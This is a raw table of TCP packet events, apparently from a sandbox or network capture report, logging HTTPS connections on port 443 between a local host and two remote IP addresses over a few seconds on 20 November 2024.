Nov 20, 2024 03:21:37.843919992 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.843926907 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.844021082 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.844042063 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.844297886 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.844301939 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.934087992 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.934113026 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.934251070 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.934278965 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.934443951 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.934510946 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.934568882 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.934568882 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.934582949 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.934593916 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.937302113 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.937338114 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.937412977 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.937556028 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.937566042 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.937767029 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.937917948 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.938000917 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.938110113 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.938153982 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.938184977 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.938200951 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.939219952 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.939239979 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.939333916 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.939342022 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.939523935 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.939573050 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.940263033 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.940283060 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.940283060 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.940290928 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.940299034 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.940349102 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.942059040 CET	49837	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.942092896 CET	443	49837	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.942106962 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.942234993 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.942238092 CET	49837	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.942270994 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.942322016 CET	49837	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.942336082 CET	443	49837	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.947429895 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.947444916 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.947571039 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.947581053 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.947623014 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.947699070 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.948004007 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.948484898 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.948602915 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.949657917 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.949657917 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.949670076 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.949677944 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.950510025 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.950520039 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.950534105 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.950537920 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.962080956 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.962119102 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.962205887 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.971016884 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.971041918 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.975210905 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.975261927 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.975418091 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.975459099 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.975465059 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.573091030 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.573632956 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.573647022 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.574085951 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.574094057 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.589087009 CET	443	49837	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.589526892 CET	49837	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.589535952 CET	443	49837	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.589885950 CET	49837	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.589891911 CET	443	49837	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.607932091 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.608330011 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.608347893 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.608355045 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.608776093 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.608787060 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.608865976 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.608879089 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.609236002 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.609246016 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.615869045 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.616365910 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.616441965 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.616650105 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.616669893 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.673624992 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.673701048 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.673748016 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.674041986 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.674067020 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.674079895 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.674086094 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.676805019 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.676843882 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.676915884 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.677074909 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.677092075 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.690943003 CET	443	49837	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.691090107 CET	443	49837	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.691241980 CET	49837	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.691279888 CET	49837	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.691279888 CET	49837	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.691296101 CET	443	49837	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.691308022 CET	443	49837	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.693445921 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.693480968 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.693583965 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.693713903 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.693725109 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.707640886 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.707695961 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.707827091 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.708012104 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.708012104 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.708053112 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.708091974 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.710330963 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.710381985 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.710465908 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.710596085 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.710612059 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.711177111 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.711333036 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.711394072 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.711426973 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.711445093 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.711456060 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.711468935 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.713416100 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.713437080 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.713582993 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.713709116 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.713721991 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.714497089 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.714613914 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.714693069 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.714736938 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.714736938 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.714754105 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.714777946 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.716846943 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.716897011 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:38.716974974 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.717083931 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:38.717106104 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.476023912 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.478187084 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.478199005 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.478605032 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.478609085 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.482501030 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.482695103 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.483072996 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.483134985 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.483170986 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.483186960 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.483448029 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.483463049 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.483557940 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.483562946 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.484220982 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.484313011 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.484592915 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.484608889 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.484649897 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.484658003 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.484967947 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.484972000 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.485069990 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.485074997 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.581495047 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.581557035 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.581760883 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.581828117 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.581844091 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.581856012 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.581861973 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.585267067 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.585427046 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.585506916 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.585587025 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.585731983 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.586695910 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.586767912 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.586843014 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.586899996 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.589196920 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.589215040 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.589250088 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.589250088 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.589251995 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.589257002 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.589258909 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.589266062 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.589382887 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.589447021 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.589497089 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.589888096 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.589893103 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.590687990 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.590687990 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.590692997 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.590699911 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.592508078 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.592597008 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.592689037 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.592974901 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.593002081 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.593350887 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.593375921 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.593379021 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.593436003 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.593751907 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.593800068 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.593909025 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.593926907 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.593940973 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.594046116 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.594047070 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.594060898 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.594083071 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.594136000 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.594150066 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.594162941 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.594177008 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.594207048 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:39.594243050 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:39.594249010 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.231887102 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.233670950 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.243901014 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.246686935 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.247581959 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.247618914 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.248043060 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.248049021 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.248284101 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.248325109 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.248682022 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.248686075 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.248908997 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.248927116 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.249270916 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.249277115 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.249495983 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.249525070 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.249836922 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.249842882 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.267431974 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.275660038 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.275686979 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.276092052 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.276097059 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.343508005 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.343585014 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.343664885 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.343995094 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.343995094 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.344018936 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.344028950 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.345463991 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.345614910 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.345865011 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.346096039 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.346149921 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.346242905 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.347174883 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.347197056 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.347227097 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.347245932 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.347258091 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.348994970 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.349024057 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.349081993 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.349355936 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.349402905 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.349433899 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.349450111 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.350136995 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.350152016 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.350260973 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.350271940 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.351432085 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.351475954 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.351553917 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.351686954 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.351706982 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.354978085 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.355057955 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.355146885 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.355263948 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.355283976 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.355307102 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.355334044 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.357021093 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.357057095 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.357243061 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.357244015 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.357278109 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.378938913 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.378997087 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.379137039 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.379159927 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.379159927 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.379168987 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.379177094 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.380779982 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.380793095 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.380889893 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.381006956 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.381020069 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.783308029 CET	443	49827	23.206.229.226	192.168.2.8
Nov 20, 2024 03:21:40.783399105 CET	49827	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:21:40.994055986 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.994604111 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.994669914 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.995054960 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.995069027 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.997051954 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.997284889 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.997304916 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:40.997575998 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:40.997581005 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.002844095 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.003129005 CET	49853	443	192.168.2.8	13.107.246.45
